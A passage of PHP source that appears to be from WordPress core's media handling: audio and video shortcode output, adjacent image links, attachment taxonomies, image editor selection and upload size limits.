		'album'  => __( 'Album' ),
	);

	if ( 'display' === $context ) {
		$fields['genre']            = __( 'Genre' );
		$fields['year']             = __( 'Year' );
		$fields['length_formatted'] = _x( 'Length', 'video or audio' );
	} elseif ( 'js' === $context ) {
		$fields['bitrate']      = __( 'Bitrate' );
		$fields['bitrate_mode'] = __( 'Bitrate Mode' );
	}

	/**
	 * Filters the editable list of keys to look up data from an attachment's metadata.
	 *
	 * @since 3.9.0
	 *
	 * @param array   $fields     Key/value pairs of field keys to labels.
	 * @param WP_Post $attachment Attachment object.
	 * @param string  $context    The context. Accepts 'edit', 'display'. Default 'display'.
	 */
	return apply_filters( 'wp_get_attachment_id3_keys', $fields, $attachment, $context );
}
/**
 * Builds the Audio shortcode output.
 *
 * This implements the functionality of the Audio Shortcode for displaying
 * WordPress mp3s in a post.
 *
 * @since 3.6.0
 * @since 6.8.0 Added the 'muted' attribute.
 *
 * @param array  $attr {
 *     Attributes of the audio shortcode.
 *
 *     @type string $src      URL to the source of the audio file. Default empty.
 *     @type string $loop     The 'loop' attribute for the `<audio>` element. Default empty.
 *     @type string $autoplay The 'autoplay' attribute for the `<audio>` element. Default empty.
 *     @type string $muted    The 'muted' attribute for the `<audio>` element. Default 'false'.
 *     @type string $preload  The 'preload' attribute for the `<audio>` element. Default 'none'.
 *     @type string $class    The 'class' attribute for the `<audio>` element. Default 'wp-audio-shortcode'.
 *     @type string $style    The 'style' attribute for the `<audio>` element. Default 'width: 100%;'.
 * }
 * @param string $content Shortcode content.
 * @return string|void HTML content to display audio.
 */
function wp_audio_shortcode( $attr, $content = '' ) {
	$post_id = get_post() ? get_the_ID() : 0;

	static $instance = 0;
	++$instance;

	/**
	 * Filters the default audio shortcode output.
	 *
	 * If the filtered output isn't empty, it will be used instead of generating the default audio template.
	 *
	 * @since 3.6.0
	 *
	 * @param string $html     Empty variable to be replaced with shortcode markup.
	 * @param array  $attr     Attributes of the shortcode. See {@see wp_audio_shortcode()}.
	 * @param string $content  Shortcode content.
	 * @param int    $instance Unique numeric ID of this audio shortcode instance.
	 */
	$override = apply_filters( 'wp_audio_shortcode_override', '', $attr, $content, $instance );

	if ( '' !== $override ) {
		return $override;
	}

	$audio = null;

	$default_types = wp_get_audio_extensions();
	$defaults_atts = array(
		'src'      => '',
		'loop'     => '',
		'autoplay' => '',
		'muted'    => 'false',
		'preload'  => 'none',
		'class'    => 'wp-audio-shortcode',
		'style'    => 'width: 100%;',
	);
	foreach ( $default_types as $type ) {
		$defaults_atts[ $type ] = '';
	}

	$atts = shortcode_atts( $defaults_atts, $attr, 'audio' );

	$primary = false;
	if ( ! empty( $atts['src'] ) ) {
		$type = wp_check_filetype( $atts['src'], wp_get_mime_types() );

		if ( ! in_array( strtolower( $type['ext'] ), $default_types, true ) ) {
			return sprintf( '<a class="wp-embedded-audio" href="%s">%s</a>', esc_url( $atts['src'] ), esc_html( $atts['src'] ) );
		}

		$primary = true;
		array_unshift( $default_types, 'src' );
	} else {
		foreach ( $default_types as $ext ) {
			if ( ! empty( $atts[ $ext ] ) ) {
				$type = wp_check_filetype( $atts[ $ext ], wp_get_mime_types() );

				if ( strtolower( $type['ext'] ) === $ext ) {
					$primary = true;
				}
			}
		}
	}

	if ( ! $primary ) {
		$audios = get_attached_media( 'audio', $post_id );

		if ( empty( $audios ) ) {
			return;
		}

		$audio       = reset( $audios );
		$atts['src'] = wp_get_attachment_url( $audio->ID );

		if ( empty( $atts['src'] ) ) {
			return;
		}

		array_unshift( $default_types, 'src' );
	}

	/**
	 * Filters the media library used for the audio shortcode.
	 *
	 * @since 3.6.0
	 *
	 * @param string $library Media library used for the audio shortcode.
	 */
	$library = apply_filters( 'wp_audio_shortcode_library', 'mediaelement' );

	if ( 'mediaelement' === $library && did_action( 'init' ) ) {
		wp_enqueue_style( 'wp-mediaelement' );
		wp_enqueue_script( 'wp-mediaelement' );
	}

	/**
	 * Filters the class attribute for the audio shortcode output container.
	 *
	 * @since 3.6.0
	 * @since 4.9.0 The `$atts` parameter was added.
	 *
	 * @param string $class CSS class or list of space-separated classes.
	 * @param array  $atts  Array of audio shortcode attributes.
	 */
	$atts['class'] = apply_filters( 'wp_audio_shortcode_class', $atts['class'], $atts );

	$html_atts = array(
		'class'    => $atts['class'],
		'id'       => sprintf( 'audio-%d-%d', $post_id, $instance ),
		'loop'     => wp_validate_boolean( $atts['loop'] ),
		'autoplay' => wp_validate_boolean( $atts['autoplay'] ),
		'muted'    => wp_validate_boolean( $atts['muted'] ),
		'preload'  => $atts['preload'],
		'style'    => $atts['style'],
	);

	// These ones should just be omitted altogether if they are blank.
	foreach ( array( 'loop', 'autoplay', 'preload', 'muted' ) as $a ) {
		if ( empty( $html_atts[ $a ] ) ) {
			unset( $html_atts[ $a ] );
		}
	}

	$attr_strings = array();

	foreach ( $html_atts as $attribute_name => $attribute_value ) {
		if ( in_array( $attribute_name, array( 'loop', 'autoplay', 'muted' ), true ) && true === $attribute_value ) {
			// Add boolean attributes without a value.
			$attr_strings[] = esc_attr( $attribute_name );
		} elseif ( 'preload' === $attribute_name && ! empty( $attribute_value ) ) {
			// Handle the preload attribute with specific allowed values.
			$allowed_preload_values = array( 'none', 'metadata', 'auto' );
			if ( in_array( $attribute_value, $allowed_preload_values, true ) ) {
				$attr_strings[] = sprintf( '%s="%s"', esc_attr( $attribute_name ), esc_attr( $attribute_value ) );
			}
		} else {
			// For other attributes, include the value.
			$attr_strings[] = sprintf( '%s="%s"', esc_attr( $attribute_name ), esc_attr( $attribute_value ) );
		}
	}

	$html = '';

	if ( 'mediaelement' === $library && 1 === $instance ) {
		$html .= "<!--[if lt IE 9]><script>document.createElement('audio');</script><![endif]-->\n";
	}

	$html .= sprintf( '<audio %s controls="controls">', implode( ' ', $attr_strings ) );

	$fileurl = '';
	$source  = '<source type="%s" src="%s" />';

	foreach ( $default_types as $fallback ) {
		if ( ! empty( $atts[ $fallback ] ) ) {
			if ( empty( $fileurl ) ) {
				$fileurl = $atts[ $fallback ];
			}

			$type  = wp_check_filetype( $atts[ $fallback ], wp_get_mime_types() );
			$url   = add_query_arg( '_', $instance, $atts[ $fallback ] );
			$html .= sprintf( $source, $type['type'], esc_url( $url ) );
		}
	}

	if ( 'mediaelement' === $library ) {
		$html .= wp_mediaelement_fallback( $fileurl );
	}

	$html .= '</audio>';

	/**
	 * Filters the audio shortcode output.
	 *
	 * @since 3.6.0
	 *
	 * @param string $html    Audio shortcode HTML output.
	 * @param array  $atts    Array of audio shortcode attributes.
	 * @param string $audio   Audio file.
	 * @param int    $post_id Post ID.
	 * @param string $library Media library used for the audio shortcode.
	 */
	return apply_filters( 'wp_audio_shortcode', $html, $atts, $audio, $post_id, $library );
}
add_shortcode( 'audio', 'wp_audio_shortcode' );

/**
 * Returns a filtered list of supported video formats.
 *
 * @since 3.6.0
 *
 * @return string[] List of supported video formats.
 */
function wp_get_video_extensions() {
	/**
	 * Filters the list of supported video formats.
	 *
	 * @since 3.6.0
	 *
	 * @param string[] $extensions An array of supported video formats. Defaults are
	 *                             'mp4', 'm4v', 'webm', 'ogv', 'flv'.
	 */
	return apply_filters( 'wp_video_extensions', array( 'mp4', 'm4v', 'webm', 'ogv', 'flv' ) );
}

/**
 * Builds the Video shortcode output.
 *
 * This implements the functionality of the Video Shortcode for displaying
 * WordPress mp4s in a post.
 *
 * @since 3.6.0
 *
 * @global int $content_width
 *
 * @param array  $attr {
 *     Attributes of the shortcode.
 *
 *     @type string $src      URL to the source of the video file. Default empty.
 *     @type int    $height   Height of the video embed in pixels. Default 360.
 *     @type int    $width    Width of the video embed in pixels. Default $content_width or 640.
 *     @type string $poster   The 'poster' attribute for the `<video>` element. Default empty.
 *     @type string $loop     The 'loop' attribute for the `<video>` element. Default empty.
 *     @type string $autoplay The 'autoplay' attribute for the `<video>` element. Default empty.
 *     @type string $muted    The 'muted' attribute for the `<video>` element. Default false.
 *     @type string $preload  The 'preload' attribute for the `<video>` element.
 *                            Default 'metadata'.
 *     @type string $class    The 'class' attribute for the `<video>` element.
 *                            Default 'wp-video-shortcode'.
 * }
 * @param string $content Shortcode content.
 * @return string|void HTML content to display video.
 */
function wp_video_shortcode( $attr, $content = '' ) {
	global $content_width;
	$post_id = get_post() ? get_the_ID() : 0;

	static $instance = 0;
	++$instance;

	/**
	 * Filters the default video shortcode output.
	 *
	 * If the filtered output isn't empty, it will be used instead of generating
	 * the default video template.
	 *
	 * @since 3.6.0
	 *
	 * @see wp_video_shortcode()
	 *
	 * @param string $html     Empty variable to be replaced with shortcode markup.
	 * @param array  $attr     Attributes of the shortcode. See {@see wp_video_shortcode()}.
	 * @param string $content  Video shortcode content.
	 * @param int    $instance Unique numeric ID of this video shortcode instance.
	 */
	$override = apply_filters( 'wp_video_shortcode_override', '', $attr, $content, $instance );

	if ( '' !== $override ) {
		return $override;
	}

	$video = null;

	$default_types = wp_get_video_extensions();
	$defaults_atts = array(
		'src'      => '',
		'poster'   => '',
		'loop'     => '',
		'autoplay' => '',
		'muted'    => 'false',
		'preload'  => 'metadata',
		'width'    => 640,
		'height'   => 360,
		'class'    => 'wp-video-shortcode',
	);

	foreach ( $default_types as $type ) {
		$defaults_atts[ $type ] = '';
	}

	$atts = shortcode_atts( $defaults_atts, $attr, 'video' );

	if ( is_admin() ) {
		// Shrink the video so it isn't huge in the admin.
		if ( $atts['width'] > $defaults_atts['width'] ) {
			$atts['height'] = round( ( $atts['height'] * $defaults_atts['width'] ) / $atts['width'] );
			$atts['width']  = $defaults_atts['width'];
		}
	} else {
		// If the video is bigger than the theme.
		if ( ! empty( $content_width ) && $atts['width'] > $content_width ) {
			$atts['height'] = round( ( $atts['height'] * $content_width ) / $atts['width'] );
			$atts['width']  = $content_width;
		}
	}

	$is_vimeo      = false;
	$is_youtube    = false;
	$yt_pattern    = '#^https?://(?:www\.)?(?:youtube\.com/watch|youtu\.be/)#';
	$vimeo_pattern = '#^https?://(.+\.)?vimeo\.com/.*#';

	$primary = false;
	if ( ! empty( $atts['src'] ) ) {
		$is_vimeo   = ( preg_match( $vimeo_pattern, $atts['src'] ) );
		$is_youtube = ( preg_match( $yt_pattern, $atts['src'] ) );

		if ( ! $is_youtube && ! $is_vimeo ) {
			$type = wp_check_filetype( $atts['src'], wp_get_mime_types() );

			if ( ! in_array( strtolower( $type['ext'] ), $default_types, true ) ) {
				return sprintf( '<a class="wp-embedded-video" href="%s">%s</a>', esc_url( $atts['src'] ), esc_html( $atts['src'] ) );
			}
		}

		if ( $is_vimeo ) {
			wp_enqueue_script( 'mediaelement-vimeo' );
		}

		$primary = true;
		array_unshift( $default_types, 'src' );
	} else {
		foreach ( $default_types as $ext ) {
			if ( ! empty( $atts[ $ext ] ) ) {
				$type = wp_check_filetype( $atts[ $ext ], wp_get_mime_types() );
				if ( strtolower( $type['ext'] ) === $ext ) {
					$primary = true;
				}
			}
		}
	}

	if ( ! $primary ) {
		$videos = get_attached_media( 'video', $post_id );
		if ( empty( $videos ) ) {
			return;
		}

		$video       = reset( $videos );
		$atts['src'] = wp_get_attachment_url( $video->ID );
		if ( empty( $atts['src'] ) ) {
			return;
		}

		array_unshift( $default_types, 'src' );
	}

	/**
	 * Filters the media library used for the video shortcode.
	 *
	 * @since 3.6.0
	 *
	 * @param string $library Media library used for the video shortcode.
	 */
	$library = apply_filters( 'wp_video_shortcode_library', 'mediaelement' );
	if ( 'mediaelement' === $library && did_action( 'init' ) ) {
		wp_enqueue_style( 'wp-mediaelement' );
		wp_enqueue_script( 'wp-mediaelement' );
		wp_enqueue_script( 'mediaelement-vimeo' );
	}

	/*
	 * MediaElement.js has issues with some URL formats for Vimeo and YouTube,
	 * so update the URL to prevent the ME.js player from breaking.
	 */
	if ( 'mediaelement' === $library ) {
		if ( $is_youtube ) {
			// Remove `feature` query arg and force SSL - see #40866.
			$atts['src'] = remove_query_arg( 'feature', $atts['src'] );
			$atts['src'] = set_url_scheme( $atts['src'], 'https' );
		} elseif ( $is_vimeo ) {
			// Remove all query arguments and force SSL - see #40866.
			$parsed_vimeo_url = wp_parse_url( $atts['src'] );
			$vimeo_src        = 'https://' . $parsed_vimeo_url['host'] . $parsed_vimeo_url['path'];

			// Add loop param for mejs bug - see #40977, not needed after #39686.
			$loop        = $atts['loop'] ? '1' : '0';
			$atts['src'] = add_query_arg( 'loop', $loop, $vimeo_src );
		}
	}

	/**
	 * Filters the class attribute for the video shortcode output container.
	 *
	 * @since 3.6.0
	 * @since 4.9.0 The `$atts` parameter was added.
	 *
	 * @param string $class CSS class or list of space-separated classes.
	 * @param array  $atts  Array of video shortcode attributes.
	 */
	$atts['class'] = apply_filters( 'wp_video_shortcode_class', $atts['class'], $atts );

	$html_atts = array(
		'class'    => $atts['class'],
		'id'       => sprintf( 'video-%d-%d', $post_id, $instance ),
		'width'    => absint( $atts['width'] ),
		'height'   => absint( $atts['height'] ),
		'poster'   => esc_url( $atts['poster'] ),
		'loop'     => wp_validate_boolean( $atts['loop'] ),
		'autoplay' => wp_validate_boolean( $atts['autoplay'] ),
		'muted'    => wp_validate_boolean( $atts['muted'] ),
		'preload'  => $atts['preload'],
	);

	// These ones should just be omitted altogether if they are blank.
	foreach ( array( 'poster', 'loop', 'autoplay', 'preload', 'muted' ) as $a ) {
		if ( empty( $html_atts[ $a ] ) ) {
			unset( $html_atts[ $a ] );
		}
	}

	$attr_strings = array();
	foreach ( $html_atts as $attribute_name => $attribute_value ) {
		if ( in_array( $attribute_name, array( 'loop', 'autoplay', 'muted' ), true ) && true === $attribute_value ) {
			// Add boolean attributes without their value for true.
			$attr_strings[] = esc_attr( $attribute_name );
		} elseif ( 'preload' === $attribute_name && ! empty( $attribute_value ) ) {
			// Handle the preload attribute with specific allowed values.
			$allowed_preload_values = array( 'none', 'metadata', 'auto' );
			if ( in_array( $attribute_value, $allowed_preload_values, true ) ) {
				$attr_strings[] = sprintf( '%s="%s"', esc_attr( $attribute_name ), esc_attr( $attribute_value ) );
			}
		} elseif ( ! empty( $attribute_value ) ) {
			// For non-boolean attributes, add them with their value.
			$attr_strings[] = sprintf( '%s="%s"', esc_attr( $attribute_name ), esc_attr( $attribute_value ) );
		}
	}

	$html = '';

	if ( 'mediaelement' === $library && 1 === $instance ) {
		$html .= "<!--[if lt IE 9]><script>document.createElement('video');</script><![endif]-->\n";
	}

	$html .= sprintf( '<video %s controls="controls">', implode( ' ', $attr_strings ) );

	$fileurl = '';
	$source  = '<source type="%s" src="%s" />';

	foreach ( $default_types as $fallback ) {
		if ( ! empty( $atts[ $fallback ] ) ) {
			if ( empty( $fileurl ) ) {
				$fileurl = $atts[ $fallback ];
			}
			if ( 'src' === $fallback && $is_youtube ) {
				$type = array( 'type' => 'video/youtube' );
			} elseif ( 'src' === $fallback && $is_vimeo ) {
				$type = array( 'type' => 'video/vimeo' );
			} else {
				$type = wp_check_filetype( $atts[ $fallback ], wp_get_mime_types() );
			}
			$url   = add_query_arg( '_', $instance, $atts[ $fallback ] );
			$html .= sprintf( $source, $type['type'], esc_url( $url ) );
		}
	}

	if ( ! empty( $content ) ) {
		if ( str_contains( $content, "\n" ) ) {
			$content = str_replace( array( "\r\n", "\n", "\t" ), '', $content );
		}
		$html .= trim( $content );
	}

	if ( 'mediaelement' === $library ) {
		$html .= wp_mediaelement_fallback( $fileurl );
	}
	$html .= '</video>';

	$width_rule = '';
	if ( ! empty( $atts['width'] ) ) {
		$width_rule = sprintf( 'width: %dpx;', $atts['width'] );
	}
	$output = sprintf( '<div style="%s" class="wp-video">%s</div>', $width_rule, $html );

	/**
	 * Filters the output of the video shortcode.
	 *
	 * @since 3.6.0
	 *
	 * @param string $output  Video shortcode HTML output.
	 * @param array  $atts    Array of video shortcode attributes.
	 * @param string $video   Video file.
	 * @param int    $post_id Post ID.
	 * @param string $library Media library used for the video shortcode.
	 */
	return apply_filters( 'wp_video_shortcode', $output, $atts, $video, $post_id, $library );
}
add_shortcode( 'video', 'wp_video_shortcode' );

/**
 * Gets the previous image link that has the same post parent.
 *
 * @since 5.8.0
 *
 * @see get_adjacent_image_link()
 *
 * @param string|int[] $size Optional. Image size. Accepts any registered image size name, or an array
 *                           of width and height values in pixels (in that order). Default 'thumbnail'.
 * @param string|false $text Optional. Link text. Default false.
 * @return string Markup for previous image link.
 */
function get_previous_image_link( $size = 'thumbnail', $text = false ) {
	return get_adjacent_image_link( true, $size, $text );
}

/**
 * Displays previous image link that has the same post parent.
 *
 * @since 2.5.0
 *
 * @param string|int[] $size Optional. Image size. Accepts any registered image size name, or an array
 *                           of width and height values in pixels (in that order). Default 'thumbnail'.
 * @param string|false $text Optional. Link text. Default false.
 */
function previous_image_link( $size = 'thumbnail', $text = false ) {
	echo get_previous_image_link( $size, $text );
}

/**
 * Gets the next image link that has the same post parent.
 *
 * @since 5.8.0
 *
 * @see get_adjacent_image_link()
 *
 * @param string|int[] $size Optional. Image size. Accepts any registered image size name, or an array
 *                           of width and height values in pixels (in that order). Default 'thumbnail'.
 * @param string|false $text Optional. Link text. Default false.
 * @return string Markup for next image link.
 */
function get_next_image_link( $size = 'thumbnail', $text = false ) {
	return get_adjacent_image_link( false, $size, $text );
}

/**
 * Displays next image link that has the same post parent.
 *
 * @since 2.5.0
 *
 * @param string|int[] $size Optional. Image size. Accepts any registered image size name, or an array
 *                           of width and height values in pixels (in that order). Default 'thumbnail'.
 * @param string|false $text Optional. Link text. Default false.
 */
function next_image_link( $size = 'thumbnail', $text = false ) {
	echo get_next_image_link( $size, $text );
}

/**
 * Gets the next or previous image link that has the same post parent.
 *
 * Retrieves the current attachment object from the $post global.
 *
 * @since 5.8.0
 *
 * @param bool         $prev Optional. Whether to display the next (false) or previous (true) link. Default true.
 * @param string|int[] $size Optional. Image size. Accepts any registered image size name, or an array
 *                           of width and height values in pixels (in that order). Default 'thumbnail'.
 * @param bool         $text Optional. Link text. Default false.
 * @return string Markup for image link.
 */
function get_adjacent_image_link( $prev = true, $size = 'thumbnail', $text = false ) {
	$post        = get_post();
	$attachments = array_values(
		get_children(
			array(
				'post_parent'    => $post->post_parent,
				'post_status'    => 'inherit',
				'post_type'      => 'attachment',
				'post_mime_type' => 'image',
				'order'          => 'ASC',
				'orderby'        => 'menu_order ID',
			)
		)
	);

	foreach ( $attachments as $k => $attachment ) {
		if ( (int) $attachment->ID === (int) $post->ID ) {
			break;
		}
	}

	$output        = '';
	$attachment_id = 0;

	if ( $attachments ) {
		$k = $prev ? $k - 1 : $k + 1;

		if ( isset( $attachments[ $k ] ) ) {
			$attachment_id = $attachments[ $k ]->ID;
			$attr          = array( 'alt' => get_the_title( $attachment_id ) );
			$output        = wp_get_attachment_link( $attachment_id, $size, true, false, $text, $attr );
		}
	}

	$adjacent = $prev ? 'previous' : 'next';

	/**
	 * Filters the adjacent image link.
	 *
	 * The dynamic portion of the hook name, `$adjacent`, refers to the type of adjacency,
	 * either 'next', or 'previous'.
	 *
	 * Possible hook names include:
	 *
	 *  - `next_image_link`
	 *  - `previous_image_link`
	 *
	 * @since 3.5.0
	 *
	 * @param string $output        Adjacent image HTML markup.
	 * @param int    $attachment_id Attachment ID
	 * @param string|int[] $size    Requested image size. Can be any registered image size name, or
	 *                              an array of width and height values in pixels (in that order).
	 * @param string $text          Link text.
	 */
	return apply_filters( "{$adjacent}_image_link", $output, $attachment_id, $size, $text );
}

/**
 * Displays next or previous image link that has the same post parent.
 *
 * Retrieves the current attachment object from the $post global.
 *
 * @since 2.5.0
 *
 * @param bool         $prev Optional. Whether to display the next (false) or previous (true) link. Default true.
 * @param string|int[] $size Optional. Image size. Accepts any registered image size name, or an array
 *                           of width and height values in pixels (in that order). Default 'thumbnail'.
 * @param bool         $text Optional. Link text. Default false.
 */
function adjacent_image_link( $prev = true, $size = 'thumbnail', $text = false ) {
	echo get_adjacent_image_link( $prev, $size, $text );
}

/**
 * Retrieves taxonomies attached to given the attachment.
 *
 * @since 2.5.0
 * @since 4.7.0 Introduced the `$output` parameter.
 *
 * @param int|array|object $attachment Attachment ID, data array, or data object.
 * @param string           $output     Output type. 'names' to return an array of taxonomy names,
 *                                     or 'objects' to return an array of taxonomy objects.
 *                                     Default is 'names'.
 * @return string[]|WP_Taxonomy[] List of taxonomies or taxonomy names. Empty array on failure.
 */
function get_attachment_taxonomies( $attachment, $output = 'names' ) {
	if ( is_int( $attachment ) ) {
		$attachment = get_post( $attachment );
	} elseif ( is_array( $attachment ) ) {
		$attachment = (object) $attachment;
	}

	if ( ! is_object( $attachment ) ) {
		return array();
	}

	$file     = get_attached_file( $attachment->ID );
	$filename = wp_basename( $file );

	$objects = array( 'attachment' );

	if ( str_contains( $filename, '.' ) ) {
		$objects[] = 'attachment:' . substr( $filename, strrpos( $filename, '.' ) + 1 );
	}

	if ( ! empty( $attachment->post_mime_type ) ) {
		$objects[] = 'attachment:' . $attachment->post_mime_type;

		if ( str_contains( $attachment->post_mime_type, '/' ) ) {
			foreach ( explode( '/', $attachment->post_mime_type ) as $token ) {
				if ( ! empty( $token ) ) {
					$objects[] = "attachment:$token";
				}
			}
		}
	}

	$taxonomies = array();

	foreach ( $objects as $object ) {
		$taxes = get_object_taxonomies( $object, $output );

		if ( $taxes ) {
			$taxonomies = array_merge( $taxonomies, $taxes );
		}
	}

	if ( 'names' === $output ) {
		$taxonomies = array_unique( $taxonomies );
	}

	return $taxonomies;
}

/**
 * Retrieves all of the taxonomies that are registered for attachments.
 *
 * Handles mime-type-specific taxonomies such as attachment:image and attachment:video.
 *
 * @since 3.5.0
 *
 * @see get_taxonomies()
 *
 * @param string $output Optional. The type of taxonomy output to return. Accepts 'names' or 'objects'.
 *                       Default 'names'.
 * @return string[]|WP_Taxonomy[] Array of names or objects of registered taxonomies for attachments.
 */
function get_taxonomies_for_attachments( $output = 'names' ) {
	$taxonomies = array();

	foreach ( get_taxonomies( array(), 'objects' ) as $taxonomy ) {
		foreach ( $taxonomy->object_type as $object_type ) {
			if ( 'attachment' === $object_type || str_starts_with( $object_type, 'attachment:' ) ) {
				if ( 'names' === $output ) {
					$taxonomies[] = $taxonomy->name;
				} else {
					$taxonomies[ $taxonomy->name ] = $taxonomy;
				}
				break;
			}
		}
	}

	return $taxonomies;
}

/**
 * Determines whether the value is an acceptable type for GD image functions.
 *
 * In PHP 8.0, the GD extension uses GdImage objects for its data structures.
 * This function checks if the passed value is either a GdImage object instance
 * or a resource of type `gd`. Any other type will return false.
 *
 * @since 5.6.0
 *
 * @param resource|GdImage|false $image A value to check the type for.
 * @return bool True if `$image` is either a GD image resource or a GdImage instance,
 *              false otherwise.
 */
function is_gd_image( $image ) {
	if ( $image instanceof GdImage
		|| is_resource( $image ) && 'gd' === get_resource_type( $image )
	) {
		return true;
	}

	return false;
}

/**
 * Creates a new GD image resource with transparency support.
 *
 * @todo Deprecate if possible.
 *
 * @since 2.9.0
 *
 * @param int $width  Image width in pixels.
 * @param int $height Image height in pixels.
 * @return resource|GdImage|false The GD image resource or GdImage instance on success.
 *                                False on failure.
 */
function wp_imagecreatetruecolor( $width, $height ) {
	$img = imagecreatetruecolor( $width, $height );

	if ( is_gd_image( $img )
		&& function_exists( 'imagealphablending' ) && function_exists( 'imagesavealpha' )
	) {
		imagealphablending( $img, false );
		imagesavealpha( $img, true );
	}

	return $img;
}

/**
 * Based on a supplied width/height example, returns the biggest possible dimensions based on the max width/height.
 *
 * @since 2.9.0
 *
 * @see wp_constrain_dimensions()
 *
 * @param int $example_width  The width of an example embed.
 * @param int $example_height The height of an example embed.
 * @param int $max_width      The maximum allowed width.
 * @param int $max_height     The maximum allowed height.
 * @return int[] {
 *     An array of maximum width and height values.
 *
 *     @type int $0 The maximum width in pixels.
 *     @type int $1 The maximum height in pixels.
 * }
 */
function wp_expand_dimensions( $example_width, $example_height, $max_width, $max_height ) {
	$example_width  = (int) $example_width;
	$example_height = (int) $example_height;
	$max_width      = (int) $max_width;
	$max_height     = (int) $max_height;

	return wp_constrain_dimensions( $example_width * 1000000, $example_height * 1000000, $max_width, $max_height );
}

/**
 * Determines the maximum upload size allowed in php.ini.
 *
 * @since 2.5.0
 *
 * @return int Allowed upload size.
 */
function wp_max_upload_size() {
	$u_bytes = wp_convert_hr_to_bytes( ini_get( 'upload_max_filesize' ) );
	$p_bytes = wp_convert_hr_to_bytes( ini_get( 'post_max_size' ) );

	/**
	 * Filters the maximum upload size allowed in php.ini.
	 *
	 * @since 2.5.0
	 *
	 * @param int $size    Max upload size limit in bytes.
	 * @param int $u_bytes Maximum upload filesize in bytes.
	 * @param int $p_bytes Maximum size of POST data in bytes.
	 */
	return apply_filters( 'upload_size_limit', min( $u_bytes, $p_bytes ), $u_bytes, $p_bytes );
}

/**
 * Returns a WP_Image_Editor instance and loads file into it.
 *
 * @since 3.5.0
 *
 * @param string $path Path to the file to load.
 * @param array  $args Optional. Additional arguments for retrieving the image editor.
 *                     Default empty array.
 * @return WP_Image_Editor|WP_Error The WP_Image_Editor object on success,
 *                                  a WP_Error object otherwise.
 */
function wp_get_image_editor( $path, $args = array() ) {
	$args['path'] = $path;

	// If the mime type is not set in args, try to extract and set it from the file.
	if ( ! isset( $args['mime_type'] ) ) {
		$file_info = wp_check_filetype( $args['path'] );

		/*
		 * If $file_info['type'] is false, then we let the editor attempt to
		 * figure out the file type, rather than forcing a failure based on extension.
		 */
		if ( isset( $file_info ) && $file_info['type'] ) {
			$args['mime_type'] = $file_info['type'];
		}
	}

	// Check and set the output mime type mapped to the input type.
	if ( isset( $args['mime_type'] ) ) {
		$output_format = wp_get_image_editor_output_format( $path, $args['mime_type'] );
		if ( isset( $output_format[ $args['mime_type'] ] ) ) {
			$args['output_mime_type'] = $output_format[ $args['mime_type'] ];
		}
	}

	$implementation = _wp_image_editor_choose( $args );

	if ( $implementation ) {
		$editor = new $implementation( $path );
		$loaded = $editor->load();

		if ( is_wp_error( $loaded ) ) {
			return $loaded;
		}

		return $editor;
	}

	return new WP_Error( 'image_no_editor', __( 'No editor could be selected.' ) );
}

/**
 * Tests whether there is an editor that supports a given mime type or methods.
 *
 * @since 3.5.0
 *
 * @param string|array $args Optional. Array of arguments to retrieve the image editor supports.
 *                           Default empty array.
 * @return bool True if an eligible editor is found; false otherwise.
 */
function wp_image_editor_supports( $args = array() ) {
	return (bool) _wp_image_editor_choose( $args );
}

/**
 * Tests which editors are capable of supporting the request.
 *
 * @ignore
 * @since 3.5.0
 *
 * @param array $args Optional. Array of arguments for choosing a capable editor. Default empty array.
 * @return string|false Class name for the first editor that claims to support the request.
 *                      False if no editor claims to support the request.
 */
function _wp_image_editor_choose( $args = array() ) {
	require_once ABSPATH . WPINC . '/class-wp-image-editor.php';
	require_once ABSPATH . WPINC . '/class-wp-image-editor-gd.php';
	require_once ABSPATH . WPINC . '/class-wp-image-editor-imagick.php';
	require_once ABSPATH . WPINC . '/class-avif-info.php';
	/**
	 * Filters the list of image editing library classes.
	 *
	 * @since 3.5.0
	 *
	 * @param string[] $image_editors Array of available image editor class names. Defaults are
	 *                                'WP_Image_Editor_Imagick', 'WP_Image_Editor_GD'.
	 */
	$implementations = apply_filters( 'wp_image_editors', array( 'WP_Image_Editor_Imagick', 'WP_Image_Editor_GD' ) );

	$editors = wp_cache_get( 'wp_image_editor_choose', 'image_editor' );

	if ( ! is_array( $editors ) ) {
		$editors = array();
	}

	// Cache the chosen editor implementation based on specific args and available implementations.
	$cache_key = md5( serialize( array( $args, $implementations ) ) );

	if ( isset( $editors[ $cache_key ] ) ) {
		return $editors[ $cache_key ];
	}

	// Assume no support until a capable implementation is identified.
	$editor = false;

	foreach ( $implementations as $implementation ) {
		if ( ! call_user_func( array( $implementation, 'test' ), $args ) ) {
			continue;
		}

		// Implementation should support the passed mime type.
		if ( isset( $args['mime_type'] ) &&
			! call_user_func(
				array( $implementation, 'supports_mime_type' ),
				$args['mime_type']
			) ) {
			continue;
		}

		// Implementation should support requested methods.
		if ( isset( $args['methods'] ) &&
			array_diff( $args['methods'], get_class_methods( $implementation ) ) ) {

			continue;
		}

		// Implementation should ideally support the output mime type as well if set and different than the passed type.
		if (
			isset( $args['mime_type'] ) &&
			isset( $args['output_mime_type'] ) &&
			$args['mime_type'] !== $args['output_mime_type'] &&
			! call_user_func( array( $implementation, 'supports_mime_type' ), $args['output_mime_type'] )
		) {
			/*
			 * This implementation supports the input type but not the output type.
			 * Keep looking to see if we can find an implementation that supports both.
			 */
			$editor = $implementation;
			continue;
		}

		// Favor the implementation that supports both input and output mime types.
		$editor = $implementation;
		break;
	}

	$editors[ $cache_key ] = $editor;

	wp_cache_set( 'wp_image_editor_choose', $editors, 'image_editor', DAY_IN_SECONDS );

	return $editor;
}

/**
 * Prints default Plupload arguments.
 *
 * @since 3.4.0
 */
function wp_plupload_default_settings() {
	$wp_scripts = wp_scripts();

	$data = $wp_scripts->get_data( 'wp-plupload', 'data' );
	if ( $data && str_contains( $data, '_wpPluploadSettings' ) ) {
		return;
	}

	$max_upload_size    = wp_max_upload_size();
	$allowed_extensions = array_keys( get_allowed_mime_types() );
	$extensions         = array();
	foreach ( $allowed_extensions as $extension ) {
		$extensions = array_merge( $extensions, explode( '|', $extension ) );
	}

	/*
	 * Since 4.9 the `runtimes` setting is hardcoded in our version of Plupload to `html5,html4`,
	 * and the `flash_swf_url` and `silverlight_xap_url` are not used.
	 */
	$defaults = array(
		'file_data_name' => 'async-upload', // Key passed to $_FILE.
		'url'            => admin_url( 'async-upload.php', 'relative' ),
		'filters'        => array(
			'max_file_size' => $max_upload_size . 'b',
			'mime_types'    => array( array( 'extensions' => implode( ',', $extensions ) ) ),
		),
	);

	/*
	 * Currently only iOS Safari supports multiple files uploading,
	 * but iOS 7.x has a bug that prevents uploading of videos when enabled.
	 * See #29602.
	 */
	if ( wp_is_mobile()
